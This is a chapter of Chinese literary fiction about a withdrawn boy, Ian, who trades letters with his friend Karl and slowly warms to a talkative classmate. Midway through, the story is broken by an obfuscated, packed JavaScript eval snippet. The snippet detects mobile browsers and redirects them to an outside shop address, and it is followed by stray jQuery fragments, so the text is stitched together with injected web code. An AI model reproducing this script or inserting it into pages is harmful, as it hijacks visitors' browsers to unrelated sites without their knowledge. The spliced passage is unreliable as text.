信寄出去之后，伊恩等了四天。


    周三寄的，周日的时候，他从收发室拿到一个信封。白色的，边角有点皱，上面写着他的名字，字挤在一起，有的往左歪，有的往右倒，像是写的时候没看格子。


    回家的时候，他把信攥在手里，上楼，回自己房间，关上门，才拆。


    伊恩坐在书桌前，看着那个信封。他认得卡尔的字。每一笔都压得很重，像是怕写不清楚，用力把圆珠笔摁进纸里。他拿起来，翻到背面，什么都没有。他用指甲沿着封口划开，把信纸抽出来。


    信纸折了三折，打开来写了大半页。


    他看了一遍。又看了一遍。


    “你那个朋友，克里斯，他话多挺好的。你话少，有人说话不冷场。”


    他看着这行字，看了一会儿。


    卡尔写了康纳又停学了，写了他爸还是那样，写了杂货店的麦奇问好，写了随身听没修用新的了，写了去买磁带。最后写了一句：“你回信的时候多写点。写什么都行。你那边的事我都想知道。”


    伊恩把信纸放在桌上，盯着那几行字。卡尔的字大大小小的，有的笔画拉得很长，有的挤成一团，但能看出来写的时候很认真，没有涂改，一笔写到底。


    他想起自己上一封信里写了克里斯。写的时候犹豫了一下，不知道卡尔会不会觉得奇怪。但他还是写了。因为他想不出别的可写的事。学校里只有克里斯跟他说话，家里只有凌跟他说话，他妈在医院，他爸不在，他哥不跟他说话。他能写的事就那么几件。


    卡尔回信了。写了克里斯。说“话多挺好的”。


    伊恩把信纸折好，放回信封里，拉开抽屉，放在那些信的最上面。抽屉里已经有一小摞信了，用皮筋扎着，边角都整整齐齐的。他把新放进去的那封按了按，和其他信对齐，然后关上抽屉。


    他坐了一会儿，然后站起来，走到窗边。


    窗外是院子，很大，草坪修剪得很整齐。远处那座山还在那儿，青灰色的。他站在窗边看了一会儿，山还是那个样子，不动。夏令营的时候，卡尔给他画过山。那张画现在就在抽屉里。他有时候会拿出来看，但今天没有。他只是在想，卡尔画的那座山和这座山不一样。那座山是绿的，这座山是青灰色的。那座山有云，这座山什么都没有。那座山是卡尔画的，这座山是他每天看的。


    他想起卡尔送他的那本书里，那个小孩一直在走，走了很多地方，从来没有停下来看同一座山看这么久。那个小孩如果站在这里，大概早就走了。


    他想起卡尔说“你那边的事我都想知道”。他那边有什么事呢？


    没什么事。


    每天一样。


    起床，吃饭，上学，放学，吃饭，睡觉。


    中间夹杂着一些不用说话的时刻——上课的时候不用说话，在走廊里走的时候不用说话，吃饭的时候不用说话。他哥坐在对面看文件，两个妹妹坐在一起用嘴型说话，他一个人吃自己的。吃完上楼，坐在书桌前，看书，或者不看书，就那么坐着。


    他走回书桌前，坐下。他盯着桌面看了一会儿。桌面上有一道划痕，不知道什么时候弄的，很浅，不仔细看看不出来。他伸出手，用指尖摸了一下。那道划痕很短，一下就摸到头了。


    他想起卡尔问他“你那边冷了吗”。冷了一点。早上出门的时候风有点凉，吹在脸上，他缩了一下脖子。树叶掉了很多，地上铺了一层，踩上去沙沙响。扫树叶的人每天早上来，把落叶扫成一堆一堆的，到中午又被风吹散。第二天再来，再扫。


    他想起卡尔说“明天去买磁带。涅槃的。”他没见过涅槃的磁带长什么样。卡尔给他寄过一封信，里面夹过一张纸，画了一个小人，旁边写着“这是科特·柯本”。小人头发很长，抱着吉他，嘴张着，像是在喊。他看了很久，没看出来像谁。但他把那张纸收起来了，和那些画放在一起。


    他想起夏令营的时候，卡尔在树干上刻过东西。弯弯曲曲的，他看不懂。卡尔说“以后你会懂的”。他到现在也不懂。但有时候他会想，那些刻痕还在不在。树干还在不在。那根树干，他们每天晚上坐的那根。他坐左边，卡尔坐右边。因为他的右眼看不清，卡尔就坐他左边。这样他不用歪头就能看见他。


    他现在坐在书桌前，右眼对着窗户。阳光从窗户照进来，落在他右边。如果他往右看，那片光就糊成一片，看不清边界。他歪了一下头，用左眼看。光的边界很清楚，落在桌角，形成一个直角。


    他习惯了歪头。小时候他哥说过他，说“头歪着干什么，坐直”。他就坐直了。坐直了就看不清，但他没再说。后来他哥不管了，他也就歪着了。但只在家里歪。在学校他不歪，怕别人看见。看不清就看不清，反正黑板上写的他也不是非看不可。


    他想起卡尔说“坐你左边”。那是第一次有人主动坐到他的左边。不是因为他每次歪头了才注意到，是他说了之后，卡尔就记住了。每次坐，卡尔都在左边。不用他说，不用他歪头，卡尔自己就坐过去了。


    他坐了一会儿，然后站起来，走到书架前面。他把卡尔送的那本书抽出来，翻开扉页，看着那几个字。


    “给伊恩。看完记得写信告诉我。——卡尔”


    字迹深深浅浅的，有的笔画重得几乎要把纸划破，有的又轻得像没写上去。他看了很多遍，每一笔都认得。他把书翻到上次看到的地方，那个小孩站在一个加油站旁边，身上没钱，不知道该怎么办。有个卡车司机问他去哪儿，他说不知道。司机看了他一会儿，让他上车了。


    伊恩看了几行，把书合上，放回书架。他走到门口，拉开门。走廊里很安静。他哥的房间在走廊另一头，门关着，门缝下面有光。两个妹妹的房间也关着，没声音。他妈房间的门也关着。他站了一下，里面没有声音。这间屋子已经空了一段时间了，但他每次经过还是会停一下。


    他站了几秒，然后转身下楼。


    凌在厨房里，正在倒水。看见他，问：“要喝水？”


    伊恩摇头。他站在厨房门口，看着凌把水倒进杯子里，喝了一口，把杯子放在桌上。


    “凌，”伊恩说，“你小时候有朋友吗？”


    凌转过头看他。他看了伊恩两秒，然后把杯子放下。


    “有。”


    “后来呢？”


    “后来不联系了。”凌说。他没多解释，只是说，“搬走了，就断了。”


    伊恩点头。


    凌看着他，等了几秒，见他不说话，就问：“怎么了？”


    “没什么。”伊恩说。


    他转身走出厨房，上楼。走到一半的时候，他听见他哥房间的门开了。脚步声从走廊那头传过来，很稳，不紧不慢的。他站在楼梯中间，没动。


    伊瑟维尔走到楼梯口，往下看了他一眼。


    “站这儿干嘛？”


    “上楼。”伊恩说。


    伊瑟维尔看了他两秒，没再说话，转身回了房间。门关上了。


    伊恩继续往上走。回到自己房间，关上门。他靠着门站了一会儿，听着外面的动静。走廊里很安静，什么声音都没有。


    他走回书桌前，坐下。他拉开抽屉，把那封信拿出来，看了一遍。看完了，放回去。又把那叠画上面的石头拿起来。石头是青灰色的，有一条白纹。他握在手里，攥了一会儿。石头很凉，攥久了就热了。他把它放在桌上，看着它。那条白纹弯弯曲曲的，像一条河。卡尔说是在湖边捡的。说“石头不会坏”。他把石头翻过来，底面是平的，摸起来很滑。


    他把石头放回抽屉里，把那些画往旁边拨了一下。画边角折过的地方有点翘，他用手按平了。他没把画拿出来，只是按了按，然后把抽屉推上。


    他拿出一张信纸，铺在桌上，拿起笔。


    他看着空白的纸，想了很久。


    想了很久。写什么呢？他这边没什么事。树叶黄了，掉了，风凉了。


    学校还是那样。克里斯还是话多。他哥还是那样。他妈还在医院。


    然后他开始写。


    “卡尔：


    信收到了。


    你那边也冷了。我这边风也大，早上出门要缩脖子。


    树叶掉了很多，扫树叶的人每天早上来，扫完又掉。我站在窗户边看过他几次，他扫得很慢。有时候风来了，刚扫好的又散了，他就站在那里等，等风停了再扫。”


    他写到这里，停了一下，继续写。


    “学校还是那样。克里斯这周感冒了，嗓子哑了，说话像鸭子叫。他跟我说了两句就不说了，拿笔写给我看。他写了‘你周末干嘛’，我写‘没干嘛’。他写‘你怎么老没干嘛’，我写‘就是没干嘛’。他看了我一眼，把那张纸揉成一团扔了。”


    他想了想，又写：


    “我妈还在医院。上周三我去看她了。她坐在窗边，穿着病号服，头发扎起来了。她看见我，笑了一下，说‘你来了’。她的手还是凉的，瘦的。她摸了一下我的头发，说‘长了’。我说‘嗯’。她没再说别的。我坐了一会儿就走了。


    你那边有河，我这边没有。我站在窗户边只能看见山。山不会动，也不会说话。我看了它很久，它还是那样。”


    他写完了，把信纸拿起来看了一遍。字一笔一划的，工工整整。他把信纸折好，放进信封里，在信封上写上卡尔的地址。麦基斯波特，第七街。他写得很慢，一笔一划。


    写完了，他把信放在书桌上，明天带学校去寄。


    他站起来，走到书架前，把那本书又抽出来。他翻开到扉页，看着那几个字，看了很久。然后他把书翻到第一章，从头看了几行。那个小孩从家里跑出来，站在公路边上。天快黑了，他不知道往哪边走。


    伊恩把书合上，放回去。还没看完。他看得很慢，不是因为书难懂，是因为他不想看太快。看完了就没了。他不想没有。


    害怕无话可说。


    他走到窗边。天快黑了，院子里的灯亮了，照在草坪上，黄黄的。远处的山看不清了，只剩一个轮廓。他看了一会儿，然后去洗澡。


    水很热，冲在身上，浴室里全是雾气。他站在水底下，闭着眼睛，想着卡尔信里写的那些话。“你那边的事我都想知道。”卡尔想知道什么呢？他这边没什么事。但卡尔说想知道。所以他写了。写了树叶，写了风，写了扫树叶的人，写了克里斯感冒嗓子哑了，写了他妈住院。这些事，平时没有人想知道。


    他哥不问，他爸不问，两个妹妹不问。凌不问。


    只有卡尔问。


    但他没写那本书。他不知道怎么写。他怕写了，卡尔会觉得他在敷衍。但他确实在看。看得很慢，每一页都要看两遍。不是因为看不懂，是因为看完了就没有了。


    他关掉水，擦干，换好衣服。出来的时候，走廊里很暗。他经过他妈房间的时候，门关着。他站了一下，里面没有声音。床上的被子应该还是上次叠好的样子，梳妆台上的东西摆着，那个相框还在桌角。但他没推门，继续走。


    回到房间，他坐在书桌前。他把那封写好的信拿起来，又看了一遍。然后他把信纸抽出来，在最后又加了一行字：


    “你送的那本书，我还在看。看得很慢。还没看完。”


    他写完，看了一遍。字和前面一样工整。他把信纸折好，放进信封里，封上口。


    他把信放在书桌上，明天带去学校寄。


    他站起来，走到书架前，把那本书拿下来。他坐在床边，翻开到上次看到的地方。那个小孩坐在卡车副驾上，司机问他叫什么名字，他说了。司机又问你家在哪儿，他没回答。司机就没再问。


    伊恩看了两页，把书合上，放在枕头旁边。他关掉台灯，躺下来。


    他把手伸到枕头旁边，摸到那本书。封面是软的，边角卷起来。他用手指摩挲了一下书脊，然后把书拿起来，放在胸口上。书的重量压在身上，轻轻的，但他能感觉到。


    他想起卡尔把这本书递给他时的样子。在树干上，月光照着他。他说“给你了”。伊恩接过来，翻开扉页，看见那几个字。字迹深深浅浅的，有的笔画重得像是要把纸戳破，有的又轻得几乎看不见。但他每个字都认得。


    他想着，如果有一天，卡尔不写信了。那这本书还在。他还没看完。他可以继续看，看完了，再从头看一遍。卡尔不会知道他看了几遍，但他自己知道。


    他闭上眼睛。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387495|200164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书还压在胸口上，随着呼吸一起一伏。


    ---


    第二天中午，伊恩没去食堂。


    他从教室出来，走过走廊。储物柜一个一个往后退，有的开着，有的关着。有人站在柜子前面聊天，有人靠着墙吃东西。他走过的时候，没人看他。


    他走到主楼门口，那个红色的邮筒还在那儿。圆形的，漆有点掉，露出底下的铁皮。他站在邮筒前面，把信从口袋里掏出来，看了一眼信封上的地址，然后把信投进去。


    信落到底的时候，闷闷的一声。


    他转身往回走。走到一半的时候，他看见克里斯站在储物柜前面，正在翻书包。克里斯的鼻子红红的，眼睛也有点红，看起来感冒还没好。


    克里斯看见他，招了招手。


    伊恩走过去。


    “你吃饭了吗？”克里斯问。声音还是哑的，像鸭子叫。


    伊恩还没开口，克里斯已经从书包里翻出一个三明治，掰成两半，递了一半给他。


    “吃。”


    伊恩接过来。面包是软的，里面夹着火腿和芝士。他咬了一口。


    他们站在储物柜前面，吃那个三明治。克里斯吃了几口，从口袋里掏出一张纸，上面写着字。他递给伊恩看。


    纸上写着：“你中午都去哪儿了？我找你好几次没找到。”


    伊恩看着那行字，嚼着三明治，没说话。


    克里斯等了几秒，把纸拿回去，又写了一行，递过来。


    “不能说？”


    伊恩看着那行字，摇了摇头。


    克里斯看了他一眼，把纸折起来放进口袋里。


    “走了，下节课要迟到了。”他说。


    伊恩点头。


    他们一起往教室走。走廊里的人少了很多，大部分都去食堂了。两个人的脚步声在空荡荡的走廊里响着，一下一下的。


    走到教室门口的时候，克里斯忽然停下来，转过身，看着伊恩。他张了张嘴，想说什么，但嗓子哑了，没发出声音。他掏出那张纸，写了几行字，递给伊恩。


    伊恩接过来看。


    纸上写着：“你这个人挺奇怪的。不过没关系。你要是不想说就不说。反正你吃饭的时候在就行。”


    伊恩看了很久。


    克里斯把纸拿回去，折好放进口袋里，推开门，走进教室。


    伊恩跟在后面，走到自己的位置坐下。


    他坐了一会儿，还在想刚才的事。克里斯问了他两个问题，他都没回答。不是不想回答，是没来得及。等他想好的时候，克里斯已经不等了。


    他想起以前在学校也是这样。老师提问，他知道答案，但等他组织好语言，老师已经叫别人了。同学跟他说话，他还没想好怎么回，同学已经走了。他哥问他作业写完了没有，他刚张嘴，他哥已经说“问你话呢”。


    他不知道别人为什么能说得那么快。他不行。每一句话都要在脑子里过一遍，有时候过两遍。等他想完，已经晚了。


    但卡尔不一样。卡尔跟他说话的时候，会等。有时候等很久，等到他想好了，说出来。卡尔不催，也不问“你怎么不说话”。就那么等着。


    他低头看着课本，上面的字密密麻麻的，他没读进去。窗外的阳光照进来，落在课桌上，暖洋洋的。他看着那道光，看了一会儿。


    放学的时候，凌在校门口等他。他上车，车开走。


    “今天怎么样？”凌问。


    伊恩想了一会儿。“还行。”


    凌点点头，没再问。


    车开过那条熟悉的街，拐进那个熟悉的大门。伊恩下车，走进客厅。客厅里没人，他直接上楼。经过他妈房间的时候，门关着。他站了一下，里面没有声音。这间屋子已经空了很久了。被子应该还是他上次叠好的样子，梳妆台上的东西摆着，那个相框立在桌角。他站了两秒，然后继续走。


    回到房间，他把书包放下，坐在书桌前。他拉开抽屉，把那叠画拿出来，一张一张看。看到那张两个人坐在树干上的时候，他停住了。画上两个人挨得很近，肩膀碰着肩膀。树干上刻着什么东西，弯弯曲曲的。


    他看了一会儿，把画放回去。又把那本书从枕头旁边拿起来，翻开扉页。那几个字还在。他看了一遍，把书合上，放在书桌上。


    他站起来，走到窗边。天快黑了，院子里的灯亮了，照在草坪上，黄黄的。远处的山只剩一个轮廓。


    他站在窗前，想着今天克里斯写在纸上的那些话。“你这个人挺奇怪的。”他奇怪吗？也许吧。他说话慢，想得慢，别人等不及。但卡尔等。克里斯也等了，虽然没等到，但他说“没关系”。


    他站了一会儿，然后转身走回书桌前。他把那本书拿起来，翻开到上次看到的地方。那个小孩还在卡车上。天黑了，车灯照着前面的路。路很长，看不到头。小孩不知道要去哪里，但他没叫司机停车。


    伊恩看了几页，把书合上，放在枕头旁边。


    他关了灯，躺下来。他把手伸到枕头旁边，摸到那本书。封面是软的，边角卷起来。他没打开，只是把手放在上面。


    他想起今天在邮筒前投信的时候，信落到底的声音。那封信会在下周寄到卡尔手里。卡尔会看两遍，然后回信。回信会写他那边的事——康纳又怎么了，杂货店又来了什么货，那盘磁带听起来怎么样。伊恩会看两遍，然后回信。写他这边的事——树叶又掉了多少，扫树叶的人又来了，克里斯感冒好了没有。


    就这样。一周一周，信来，信去。


    他想着那本书里的小孩。那个小孩不会停下来看同一座山看那么久。他一直在走。伊恩不知道他最后会走到哪里。但他想，那个小孩不会停下来。


    他翻了个身，把脸对着墙。手还放在那本书上。


    窗外有风，吹得树叶沙沙响。他听着那些声音，想着卡尔现在在干嘛。也许在听那盘新买的磁带。也许在看天花板那道裂缝。也许在写信。


    他闭上眼睛。


    书在枕头旁边，压着枕头一角，微微翘起来。他的手指搭在封面上，能摸到那几个字凹下去的痕迹——虽然字在扉页上，隔了好几页纸，但他觉得能摸到。